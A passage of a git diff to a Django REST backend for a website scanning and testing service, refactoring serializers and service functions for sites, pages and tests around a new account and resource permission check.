serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) @@ -177,10 +219,14 @@ class TestcaseSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Testcase fields = ['id', 'site', 'user', 'time_created', 'time_completed', - 'steps', 'case', 'case_name', 'passed', 'configs', 'account', + 'steps', 'case', 'case_name', 'configs', 'account', + # 'passed', # REMOVE + 'status', # NEW ] + + class SmallTestcaseSerializer(serializers.HyperlinkedModelSerializer): id = serializers.PrimaryKeyRelatedField(**kwargs) site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) @@ -191,5 +237,23 @@ class SmallTestcaseSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Testcase fields = ['id', 'site', 'user', 'time_created', 'time_completed', - 'case', 'case_name', 'passed', 'configs', 'account', - ] \ No newline at end of file + 'case', 'case_name', 'configs', 'account', + # 'passed', # REMOVE + 'status', # NEW + ] + + + + +class IssueSerializer(serializers.HyperlinkedModelSerializer): + id = serializers.PrimaryKeyRelatedField(**kwargs) + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) + + class Meta: + model = Issue + fields = ['id', 'time_created', 'trigger', 'account', 'title', + 'details', 'status', 'affected', 'labels' + ] + + + diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index da27dd42..6d8e4ed9 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -1,40 +1,61 @@ -import json, boto3, asyncio -from datetime import datetime +from datetime import datetime, timedelta from django.contrib.auth.models import User from django_celery_beat.models import CrontabSchedule, PeriodicTask +from django.db.models import Q from ...models import * from rest_framework.response import Response from rest_framework import status +from scanerr import celery +from redis import Redis +from scanerr import settings +from celery import app from .serializers import * from ...tasks import * from rest_framework.pagination import LimitOffsetPagination from ...utils.scanner import Scanner as S from ...utils.tester import Tester as T -from ...utils.image import Image as I +from ...utils.imager import Imager as I from ...utils.reporter import Reporter as R from ...utils.wordpress import Wordpress as W -from ...utils.wordpress_p import Wordpress as W_P from ...utils.caser import Caser +from ...utils.crawler import Crawler +import json, boto3, asyncio, os, requests, uuid, secrets -def record_api_call(request, data, status): +def record_api_call(request: object, data: dict, status: str) -> None: + """ + Records an request and resposne if + the request was sent with Token auth. + Creates a `Log` with the recorded info + Expects: { + request : object, + data : dict, + status : str + } + + Returns -> None + """ + + # get auth type auth = request.headers.get('Authorization') + + # check if Token auth if auth.startswith('Token'): + # getting the request data if request.method == 'POST': request_data = request.data - elif request.method == 'GET': request_data = request.query_params - elif request.method == 'DELETE': request_data = request.query_params + # recording info log = Log.objects.create( user=request.user, path=request.path, @@ -43,134 +64,605 @@ def record_api_call(request, data, status): request_payload=request_data, response_payload=data ) - - return + + return None -def check_account(request): - if Member.objects.filter(user=request.user).exists(): - member = Member.objects.get(user=request.user) - return member.account.active + +def check_account_and_resource( + request: object=None, + user: object=None, + resource: str=None, + action: str='get', + **kwargs + ) -> dict: + """ + Based on the passed "resource" & kwargs, checks to see + if account is allowed to add/get a "resource". + Also increments the `Account.usage` for the specified resource. + + Expects: { + 'request' : object, + 'user' : object, + 'resource' : str, + **kwargs : dict + } + + Returns -> data: { + 'allowed' : bool, + 'error' : str, + 'status' : object + 'code' : str + } + """ + + # setting defaults + allowed = True + error = None + member = None + _status = status.HTTP_402_PAYMENT_REQUIRED + code = '402' + + # checking for kwargs + site_id = kwargs.get('site_id') + site_url = kwargs.get('site_url') + page_id = kwargs.get('page_id') + page_url = kwargs.get('page_url') + test_id = kwargs.get('test_id') + scan_id = kwargs.get('scan_id') + case_id = kwargs.get('case_id') + testcase_id = kwargs.get('testcase_id') + issue_id = kwargs.get('issue_id') + schedule_id = kwargs.get('schedule_id') + automation_id = kwargs.get('automation_id') + process_id = kwargs.get('process_id') + report_id = kwargs.get('report_id') + + # retrieving account + if request is not None: + user = request.user + if Member.objects.filter(user=user).exists(): + member = Member.objects.get(user=user) + account = member.account + allowed = member.account.active + if not allowed: + error = 'account not funded' else: - return False + allowed = False + error = 'no account assocation' + _status = status.HTTP_401_UNAUTHORIZED + code = '401' + + # returning early bc account + # is not funded or not associated + if not allowed: + data = { + 'allowed': allowed, + 'error': error, + 'status': _status, + 'code': code + } + return data + + # checking if user is 'admin' + if user.username == 'admin': + data = { + 'allowed': allowed, + 'error': error, + 'status': _status, + 'code': code + } + return data + + # checking resource limit + if resource is not None: + + # checking pages + if resource == 'page': + if not page_id: + if site_id: + if not Site.objects.filter(id=site_id, account=account).exists(): + allowed = False + error = 'site not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + else: + current_count = Page.objects.filter(account=account, site__id=site_id).count() + if current_count >= account.max_pages and action == 'add': + allowed = False + error = 'max pages reached' + _status = status.HTTP_402_PAYMENT_REQUIRED + code = '402' + if page_id: + if not Page.objects.filter(id=page_id, account=account).exists(): + allowed = False + error = 'page not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + if page_url: + if Page.objects.filter(page_url=page_url, account=account).exists(): + allowed = False + error = 'page already exists' + _status = status.HTTP_409_CONFLICT + code = '409' + + # checking sites + if resource == 'site': + if site_id: + if not Site.objects.filter(id=site_id, account=account).exists(): + allowed = False + error = 'site not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + if site_url: + current_count = Site.objects.filter(account=account).count() + if Site.objects.filter(site_url=site_url, account=account).exists(): + allowed = False + error = 'site already exists' + _status = status.HTTP_409_CONFLICT + code = '409' + elif current_count >= account.max_sites and action == 'add' and (account.type != 'custom' and account.type != 'enterprise'): + allowed = False + error = 'max sites reached' + _status = status.HTTP_402_PAYMENT_REQUIRED + code = '402' + elif current_count >= account.max_sites and action == 'add' and (account.type == 'enterprise' or account.type == 'custom'): + # add to max_sites only for enterprise + account.max_sites += 1 + account.max_schedules += 1 + account.save() + # update price for sub + update_sub_price.delay(account.id) + + # checking schedules + if resource == 'schedule': + if not schedule_id: + current_count = Schedule.objects.filter(account=account).count() + if current_count >= account.max_schedules and action == 'add': + allowed = False + error = 'max schedules reached' + _status = status.HTTP_402_PAYMENT_REQUIRED + code = '402' + elif page_id: + if not Page.objects.filter(id=page_id, account=account).exists(): + allowed = False + error = 'page not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + elif site_id: + if not Site.objects.filter(id=site_id, account=account).exists(): + allowed = False + error = 'site not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + + if schedule_id: + if not Schedule.objects.filter(id=schedule_id, account=account).exists(): + allowed = False + error = 'schedule not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + if page_id: + if not Page.objects.filter(id=page_id, account=account).exists(): + allowed = False + error = 'page not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + if site_id: + if not Site.objects.filter(id=site_id, account=account).exists(): + allowed = False + error = 'site not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + + # checking automations + if resource == 'automation': + if automation_id: + if not Automation.objects.filter(id=automation_id, account=account).exists(): + allowed = False + error = 'automation not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + + # checking testcases + if resource == 'testcase': + if not testcase_id and action == 'add': + if not check_resource(account, 'testcases'): + allowed = False + error = 'max testcases reached' + _status = status.HTTP_402_PAYMENT_REQUIRED + code = '402' + if testcase_id: + if not Testcase.objects.filter(id=testcase_id, account=account).exists(): + allowed = False + error = 'testcase not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + if case_id: + if not Case.objects.filter(id=case_id, account=account).exists(): + allowed = False + error = 'case not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + if site_id: + if not Site.objects.filter(id=site_id, account=account).exists(): + allowed = False + error = 'site not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + + # checking cases + if resource == 'case': + if case_id: + if not Case.objects.filter(id=case_id, account=account).exists(): + allowed = False + error = 'case not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + if site_id: + if not Site.objects.filter(id=site_id, account=account).exists(): + allowed = False + error = 'site not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + + # checking issues + if resource == 'issue': + if issue_id: + if not Issue.objects.filter(id=issue_id, account=account).exists(): + allowed = False + error = 'issue not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + if site_id: + if not Site.objects.filter(id=site_id, account=account).exists(): + allowed = False + error = 'site not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + if page_id: + if not Page.objects.filter(id=page_id, account=account).exists(): + allowed = False + error = 'page not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + + # checking scans + if resource == 'scan': + if not scan_id and action == 'add': + if not check_resource(account, 'scans'): + allowed = False + error = 'max scans reached' + _status = status.HTTP_402_PAYMENT_REQUIRED + code = '402' + if scan_id: + if not Scan.objects.filter(id=scan_id, page__account=account).exists(): + allowed = False + error = 'scan not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + + # checking tests + if resource == 'test': + if not test_id and action == 'add': + if not check_resource(account, 'tests'): + allowed = False + error = 'max tests reached' + _status = status.HTTP_402_PAYMENT_REQUIRED + code = '402' + if test_id: + if not Test.objects.filter(id=test_id, page__account=account).exists(): + allowed = False + error = 'test not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + + # checking process + if resource == 'process': + if process_id: + if not Process.objects.filter(id=process_id, account=account).exists(): + allowed = False + error = 'process not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + + # checking reports + if resource == 'report': + if report_id: + if not Report.objects.filter(id=report_id, account=account).exists(): + allowed = False + error = 'report not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + if page_id: + if not Page.objects.filter(id=page_id, account=account).exists(): + allowed = False + error = 'page not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + + # checking logs + if resource == 'log': + if log_id: + if not Log.objects.filter(id=log_id, account=account).exists(): + allowed = False + error = 'log not found' + _status = status.HTTP_404_NOT_FOUND + code = '404' + + # returning data + data = { + 'allowed': allowed, + 'error': error, + 'status': _status, + 'code': code + } + return data + + + + +def check_resource(account: object, resource: str) -> bool: + """ + Validates if account can add a new {resource} + + Expcets: { + 'account' : , + 'resource' : 'scan', 'test', or 'testcase + } + + Returns: Bool, True if resource was incremented. + """ + + # define defaults + success = False + + # check allowance + if (int(account.usage[f'{resource}']) + 1) <= int(account.usage[f'{resource}_allowed']): + # update success + success = True + + # return response + return success + + + + +### ------ Begin Site Services ------ ### + + + +def create_site(request: object, delay: bool=False) -> object: + """ + Creates a new `Site`, initiates a Crawl, initial `Scans` + for each added `Page`, and generates new `Cases`. + Expects: { + request : object, + delay : bool + } + + Returns -> HTTP Response object + """ -def create_site(request, delay=False): + # getting data site_url = request.data.get('site_url') + page_urls = request.data.get('page_urls') + onboarding = request.data.get('onboarding', None) + tags = request.data.get('tags', None) + configs = request.data.get('configs', None) + no_scan = request.data.get('no_scan', False) + + # gettting account user = request.user account = Member.objects.get(user=user).account sites = Site.objects.filter(account=account) + # updating configs if None: + configs = account.configs if configs == None else configs + + # checking if in onboarding flow + if onboarding is not None: + if str(onboarding).lower() == 'true': + onboarding = True + if str(onboarding).lower() == 'false': + onboarding = False + # clean & check site url if site_url.endswith('/'): site_url = site_url.rstrip('/') - if site_url is None or site_url == '': data = {'reason': 'the site_url cannot be empty',} record_api_call(request, data, '400') return Response(data, status=status.HTTP_400_BAD_REQUEST) - account_is_active = check_account(request) - if not account_is_active: - data = {'reason': 'account not funded',} - record_api_call(request, data, '402') - return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) + # check account and resource + check_data = check_account_and_resource( + request=request, resource='site', action='add', + site_url=site_url + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # creating site if checks passed + site = Site.objects.create( + site_url=site_url, + user=user, + tags=tags, + account=account, + time_crawl_started=datetime.now() + ) - if sites.count() >= account.max_sites: - data = {'reason': 'maximum number of sites reached',} - record_api_call(request, data, '402') - return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) + # create process obj + process = Process.objects.create( + site=site, + type='case.generate', + account=account, + progress=1 + ) - if Site.objects.filter(site_url=site_url, user=user).exists(): - data = {'reason': 'site already exists',} - record_api_call(request, data, '409') - return Response(data, status=status.HTTP_409_CONFLICT) - else: - tags = request.data.get('tags', None) - configs = request.data.get('configs', None) - no_scan = request.data.get('no_scan', False) - site = Site.objects.create( - site_url=site_url, - user=user, - tags=tags, - account=account - ) + # auto gen Cases using bg_autocase_task + create_auto_cases_bg.delay( + site_id=site.id, + process_id=process.id, + start_url=str(site.site_url), + configs=configs, + max_cases=3, + max_layers=8 + ) + + # check if this is account's first site and onboarding = True + if Site.objects.filter(account=account).count() == 1 \ + and onboarding == True: + # send POST to landing/v1/ops/prospect + create_prospect.delay(user_email=str(user.email)) + + # check if scan requested + if no_scan == False: + + # adding pages passed in request + if page_urls is not None: + for url in page_urls: + if url.startswith(site.site_url): + # add new page + page = Page.objects.create( + site=site, + page_url=url, + user=site.user, + account=site.account, + ) + # create scan + create_scan( + page_id=page.id, + configs=configs, + user_id=request.user.id, + delay=True + ) + site.time_crawl_started = datetime.now() + site.time_crawl_completed = datetime.now() + site.info["latest_scan"]["time_created"] = str(datetime.now()) + site.save() + + # starting crawler and scans in background + else: + create_site_and_pages_bg.delay( + site_id=site.id, + configs=configs + ) + + # serialize response and return + serializer_context = {'request': request,} + serialized = SiteSerializer(site, context=serializer_context) + data = serialized.data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response - if not configs: - configs = { - 'window_size': '1920,1080', - 'interval': 5, - 'driver': 'selenium', - 'device': 'desktop', - 'mask_ids': None, - 'min_wait_time': 10, - 'max_wait_time': 60, - 'timeout': 300, - 'disable_animations': False - } - if no_scan == False: - if delay == True: - scan = Scan.objects.create( - site=site, - type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'], - configs=configs, - ) - # running scans in parallel - if 'html' or 'logs' or 'full' in types: - run_html_and_logs_bg.delay(scan_id=scan.id) - if 'lighthouse' or 'full' in types: - run_lighthouse_bg.delay(scan_id=scan.id) - if 'yellowlab' or 'full' in types: - run_yellowlab_bg.delay(scan_id=scan.id) - if 'vrt' or 'full' in types: - run_vrt_bg.delay(scan_id=scan.id) - # create_site_bg.delay(site.id, scan.id, configs) - site.info["latest_scan"]["id"] = str(scan.id) - site.info["latest_scan"]["time_created"] = str(scan.time_created) - site.save() - else: - S(site=site, configs=configs).first_scan() + +def crawl_site(request: object=None, id: str=None, account: object=None) -> object: + """ + Initiates a new Crawl for the passed `Site`.id + + Expects: { + 'request' : object, + 'id' : str, + 'account' ; object + } + + Returns -> HTTP Response object + """ + + # get user and account + if request: + user = request.user + account = Member.objects.get(user=user).account + configs = request.data.get('configs', None) + + if not request: + user = account.user + configs = account.configs + + # updating configs if None: + configs = account.configs if configs == None else configs + + # check account and resource + check_data = check_account_and_resource(user=user, site_id=id, resource='site') + if not check_data['allowed']: + data = {'reason': check_data['error'],} + if request: + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + return data + + # update site info + site = Site.objects.get(id=id) + site.time_crawl_completed = None + site.save() + + # starting crawl + crawl_site_bg.delay(site_id=site.id, configs=configs) + + # serializing and returning + if request: serializer_context = {'request': request,} serialized = SiteSerializer(site, context=serializer_context) data = serialized.data record_api_call(request, data, '201') response = Response(data, status=status.HTTP_201_CREATED) return response + return None +def get_sites(request: object) -> object: + """ + Get one or more `Sites` in paginated response + Expects: { + 'request': object, + } -def get_sites(request): + Returns -> HTTP Response object + """ + + # getting request data site_id = request.query_params.get('site_id') user = request.user - account = Member.objects.get(user=user).account + # getting account + account = Member.objects.get(user=user).account + # check if site_id was passed if site_id != None: + + # check account and resource + check_data = check_account_and_resource(request=request, site_id=site_id, resource='site') + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) - try: - site = Site.objects.get(id=site_id) - except: - data = {'reason': 'cannot find a Site with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - if site.account != account: - data = {'reason': 'retrieve a Site you do not own',} - return Response(data, status=status.HTTP_403_FORBIDDEN) + # get site if checks passed + site = Site.objects.get(id=site_id) + + # serialize single site response and return serializer_context = {'request': request,} serialized = SiteSerializer(site, context=serializer_context) data = serialized.data record_api_call(request, data, '200') return Response(data, status=status.HTTP_200_OK) + # getting all account assoicated sites sites = Site.objects.filter(account=account).order_by('-time_created') + + # serialize response and return paginator = LimitOffsetPagination() result_page = paginator.paginate_queryset(sites, request) serializer_context = {'request': request,} @@ -181,40 +673,137 @@ def get_sites(request): -def delete_site(request, id): + +def get_site(request: object, id: str) -> object: + """ + Get single `Site` from the passed "id" + + Expects: { + 'request' : object, + 'id' : str + } + + Returns -> HTTP Response object + """ + + # get user and account user = request.user account = Member.objects.get(user=user).account - - try: - site = Site.objects.get(id=id) - except: - data = {'reason': 'cannot find a Site with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - if site.account != account: - data = {'reason': 'delete a Site you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) + # check account and resource + check_data = check_account_and_resource(request=request, + site_id=id, resource='site' + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get site if checks passed + site = Site.objects.get(id=id) + + # serialize and return + serializer_context = {'request': request,} + serialized = SiteSerializer(site, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + + +def delete_site(request: object=None, id: str=None, account: object=None) -> object: + """ + Deletes the `Site` associated with the passed "id" + + Expcets: { + 'request' : object, + 'id' : str, + 'account' : object, + } + + Returns -> HTTP Response object + """ + + # get user and account info + if request: + account = Member.objects.get(user=request.user).account + user = request.user + + if not request: + user = account.user + + # check account and resource + check_data = check_account_and_resource(user=user, site_id=id, resource='site') + if not check_data['allowed']: + data = {'reason': check_data['error'],} + if request: + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + return data + + # get site if checks passed + site = Site.objects.get(id=id) # remove s3 objects delete_site_s3_bg.delay(site_id=id) + # remove any associated tasks + delete_tasks_and_schedules(resource_id=str(site.id), scope='site', account=account) + + # remove any site associated Issues + Issue.objects.filter(affected__icontains=str(id)).delete() + + # remove any page associated Issues + for page in Page.objects.filter(site=site): + Issue.objects.filter(affected__icontains=str(page.id)).delete() + # remove site site.delete() - data = {'message': 'Site has been deleted',} - record_api_call(request, data, '200') - response = Response(data, status=status.HTTP_200_OK) - return response + # update account if enterprise or custom + if account.type == 'enterprise' or account.type == 'custom': + account.max_sites -= 1 + account.max_schedules -= 1 + account.save() + + # update billing + update_sub_price.delay(account_id=account.id) + + # returning response + data = {'message': 'site deleted',} + if request: + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + return data + + + +def delete_many_sites(request: object) -> object: + """ + Deletes one or more `Sites` associated + with the passed "request.ids" -def delete_many_sites(request): + Expcets: { + 'request' : object, + } + + Returns -> HTTP Response object + """ + + # get request data ids = request.data.get('ids') + + # get user and account user = request.user account = Member.objects.get(user=user).account + # check for ids if ids is not None: + + # setting defaults count = len(ids) num_succeeded = 0 succeeded = [] @@ -223,30 +812,55 @@ def delete_many_sites(request): user = request.user this_status = True + # loop through passed ids for id in ids: + + # trying to delete site try: site = Site.objects.get(id=id) if site.account == account: - delete_site_s3_bg.delay(site_id=id) - site.delete() + + # delete site and associated resources + data = delete_site(id=id, account=site.account) + if data.get('reason'): + raise Exception + + # add to success attempts num_succeeded += 1 succeeded.append(str(id)) + except: + print(e) + # add to failed attempts num_failed += 1 failed.append(str(id)) this_status = False + + # update account if enterprise or custom + if account.type == 'enterprise' or account.type == 'custom': + account.max_sites -= num_succeeded + account.max_schedules -= num_succeeded + account.save() + + # update billing + update_sub_price.delay(account_id=account.id) + + # format response data = { - 'status': this_status, + 'success': this_status, 'num_succeeded': num_succeeded, 'succeeded': succeeded, 'num_failed': num_failed, 'failed': failed, } + + # returning response record_api_call(request, data, '200') response = Response(data, status=status.HTTP_200_OK) return response + # returning error data = { 'reason': 'you must provide an array of id\'s' } @@ -256,320 +870,470 @@ def delete_many_sites(request): -def create_test(request, delay=False): - # get data from request - configs = request.data.get('configs', None) - pre_scan_id = request.data.get('pre_scan', None) - post_scan_id = request.data.get('post_scan', None) - index = request.data.get('index', None) - test_type = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) - tags = request.data.get('tags', None) - pre_scan = None - post_scan = None - site_id = request.data.get('site_id') - user = request.user - account = Member.objects.get(user=user).account - - account_is_active = check_account(request) - if not account_is_active: - data = {'reason': 'account not funded',} - record_api_call(request, data, '402') - return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) - - site = Site.objects.get(id=site_id, ) - if site.account != account: - data = {'reason': 'create a Test of a Site you do not own'} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - if len(test_type) == 0: - test_type = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'] - - if not configs: - configs = { - 'window_size': '1920,1080', - 'interval': 5, - 'driver': 'selenium', - 'device': 'desktop', - 'mask_ids': None, - 'min_wait_time': 10, - 'max_wait_time': 60, - 'timeout': 300, - 'disable_animations': False - } +def get_sites_zapier(request: object) -> object: + """ + Get all `Sites` associated with user's Account. - if not Scan.objects.filter(site=site).exists(): - data = {'reason': 'Site not yet onboarded'} - record_api_call(request, data, '400') - return Response(data, status=status.HTTP_400_BAD_REQUEST) - - if pre_scan_id: - try: - pre_scan = Scan.objects.get(id=pre_scan_id) - except: - data = {'reason': 'cannot find a Scan with that id - pre_scan '} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - if post_scan_id: - try: - post_scan = Scan.objects.get(id=post_scan_id) - except: - data = {'reason': 'cannot find a Scan with that id - post_scan '} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - # grabbing most recent Scan - if pre_scan_id is None: - pre_scan = Scan.objects.filter(site=site).order_by('-time_created')[0] - - if pre_scan: - if pre_scan.time_completed == None: - data = {'reason': 'pre_scan still running'} - record_api_call(request, data, '400') - return Response(data, status=status.HTTP_400_BAD_REQUEST) + Expects: { + 'request': object + } - if post_scan: - if post_scan.time_completed == None: - data = {'reason': 'post_scan still running'} - record_api_call(request, data, '400') - return Response(data, status=status.HTTP_400_BAD_REQUEST) + Returns -> HTTP Response object + """ + # get request data + account = Member.objects.get(user=request.user).account + sites = None + + # deciding on scope + resource = 'site' - # creating test object - test = Test.objects.create( - site=site, - type=test_type, - tags=tags, + # check account and resource + check_data = check_account_and_resource( + user=request.user, resource=resource, ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get all account assocoiated sites + if sites is None: + sites = Site.objects.filter( + account=account, + ).order_by('-time_created') + + # build response data + data = [] + + for site in sites: + data.append({ + 'id' : str(site.id), + 'site_url' : str(site.site_url), + 'time_created' : str(site.time_created), + 'tags' : site.tags, + 'info' : site.info, + }) + + # serialize and return + response = Response(data, status=status.HTTP_200_OK) + return response + - - if delay == True: - create_test_bg.delay( - test_id=test.id, - configs=configs, - type=test_type, - index=index, - pre_scan=pre_scan_id, - post_scan=post_scan_id, - tags=tags, - ) - data = { - 'status': True, - 'message': 'test is being created in the background', - 'id': str(test.id), - } - record_api_call(request, data, '201') - return Response(data, status=status.HTTP_201_CREATED) - - else: - if not pre_scan and not post_scan: - new_scan = S(site=site, configs=configs, type=test_type) - post_scan = new_scan.second_scan() - pre_scan = post_scan.paired_scan - - if not post_scan and pre_scan: - post_scan = S(site=site, scan=pre_scan, configs=configs, type=test_type).second_scan() - - # updating parired scans - pre_scan.paired_scan = post_scan - post_scan.paried_scan = pre_scan - pre_scan.save() - post_scan.save() - - # updating test object - test.type = test_type - test.type = test_type - test.pre_scan = pre_scan - test.post_scan = post_scan - test.save() - - # running tester - updated_test = T(test=test).run_test(index=index) - serializer_context = {'request': request,} - serialized = TestSerializer(updated_test, context=serializer_context) - data = serialized.data - record_api_call(request, data, '201') - response = Response(data, status=status.HTTP_201_CREATED) - return response +### ------ Begin Page Services ------ ### +def create_page(request: object, delay: bool=False) -> object: + """ + Creates one or more pages. + Expcets: { + 'requests': object + } + + Returns -> HTTP Response object + """ + # getting request data + site_id = request.data.get('site_id') + page_url = request.data.get('page_url') + page_urls = request.data.get('page_urls') + tags = request.data.get('tags', None) + configs = request.data.get('configs', None) + no_scan = request.data.get('no_scan', False) -def get_tests(request): + # retrieving user, account, & site user = request.user account = Member.objects.get(user=user).account - test_id = request.query_params.get('test_id') - site_id = request.query_params.get('site_id') - time_begin = request.query_params.get('time_begin') - time_end = request.query_params.get('time_end') - lean = request.query_params.get('lean') + site = Site.objects.get(id=site_id) + + # updating configs if None: + configs = account.configs if configs == None else configs + + # creating many pages if page_urls was passed + if page_urls is not None: + print('trying to add many pages') + data = create_many_pages(request=request, http_response=False) + _status = status.HTTP_201_CREATED + if data.get('reason') is not None: + _status = status.HTTP_402_PAYMENT_REQUIRED + response = Response(data, status=_status) + return response + # validating page_url + if page_url.endswith('/'): + page_url = page_url.rstrip('/') + if page_url is None or page_url == '': + data = {'reason': 'the page_url cannot be empty',} + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) - if test_id != None: + # check account and resource + check_data = check_account_and_resource( + request=request, resource='page', site_id=site_id, page_url=page_url, + action='add' + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) - try: - test = Test.objects.get(id=test_id) - except: - data = {'reason': 'cannot find a Test with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - if test.site.account != account: - data = {'reason': 'retrieve Tests of a Site you do not own'} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - serializer_context = {'request': request,} - serialized = TestSerializer(test, context=serializer_context) - data = serialized.data - record_api_call(request, data, '200') - return Response(data, status=status.HTTP_200_OK) + # adding page if checks passed + page = Page.objects.create( + site=site, + page_url=page_url, + user=user, + tags=tags, + account=account + ) + # deciding on scan + if no_scan == False: - try: - site = Site.objects.get(id=site_id) - except: - if site_id != None: - data = {'reason': 'cannot find a site with that id',} - this_status = status.HTTP_404_NOT_FOUND - status_code = '404' - else: - data = {'reason': 'you did not provide the site_id'} - this_status = status.HTTP_400_BAD_REQUEST - status_code = '400' - record_api_call(request, data, status_code) - return Response(data, status=this_status) - - if site.account != account: - data = {'reason': 'retrieve Tests of a Site you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - if time_begin == None and site != None and time_end != None: - tests = Test.objects.filter(site=site).filter(time_completed__lte=time_end).order_by('-time_created') - elif time_end == None and site != None and time_begin != None: - tests = Test.objects.filter(site=site).filter(time_completed__gte=time_begin).order_by('-time_created') - elif time_end != None and time_begin != None and site != None: - tests = Test.objects.filter(site=site).filter(time_completed__gte=time_begin).filter(time_completed__lte=time_end).order_by('-time_created') - elif time_end == None and time_begin == None and Site != None: - tests = Test.objects.filter(site=site).order_by('-time_created') - else: - data = {'reason': 'you did not provide the right params',} - record_api_call(request, data, '400') - return Response(data, status=status.HTTP_400_BAD_REQUEST) - - paginator = LimitOffsetPagination() - result_page = paginator.paginate_queryset(tests, request) - serializer_context = {'request': request,} - serialized = TestSerializer(result_page, many=True, context=serializer_context) - if lean is not None: - serialized = SmallTestSerializer(result_page, many=True, context=serializer_context) - - response = paginator.get_paginated_response(serialized.data) - record_api_call(request, response.data, '200') + # create initial scan + scan = Scan.objects.create( + site=site, + page=page, + type=settings.TYPES, + configs=configs + ) + page.info["latest_scan"]["id"] = str(scan.id) + page.info["latest_scan"]["time_created"] = str(scan.time_created) + page.save() + # running scan in background + scan_page_bg.delay(scan_id=scan.id, configs=configs) + + + # serialize response and return + serializer_context = {'request': request,} + serialized = PageSerializer(page, context=serializer_context) + data = serialized.data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) return response +def create_many_pages(request: object, http_response: bool=True) -> object: + """ + Bulk creates `Pages` for each url passed in "page_urls" -def get_test_lean(request, id): + Expcets: { + 'request' : object, + 'http_response' : bool + } + + Returns -> dict or HTTP Response object + """ + + # get request data + site_id = request.data.get('site_id') + page_urls = request.data.get('page_urls') + tags = request.data.get('tags', None) + configs = request.data.get('configs', None) + no_scan = request.data.get('no_scan', False) + + # get user and account user = request.user account = Member.objects.get(user=user).account - try: - test = Test.objects.get(id=id) - except: - data = {'reason': 'cannot find a Test with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) + # updating configs if None: + configs = account.configs if configs == None else configs - if test.site.account != account: - data = {'reason': 'retrieve Tests of a Site you do not own'} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) + # get site and current pages + site = Site.objects.get(id=site_id) + pages = Page.objects.filter(site=site) - # get images_delta if exists - try: - images_delta = {"average_score": test.images_delta.get('average_score')} - except: - images_delta = None + # check account and resource + check_data = check_account_and_resource( + request=request, resource='page', site_id=site_id, action='add' + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + if http_response: + return Response(data, status=check_data['status']) + return data + + # pre check for max_pages + if (pages.count() + len(page_urls)) > account.max_pages: + print('max pages aparently') + data = {'reason': 'maximum number of pages reached',} + record_api_call(request, data, '402') + if http_response: + return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) + return data + + # setting defaults + count = len(page_urls) + num_succeeded = 0 + succeeded = [] + 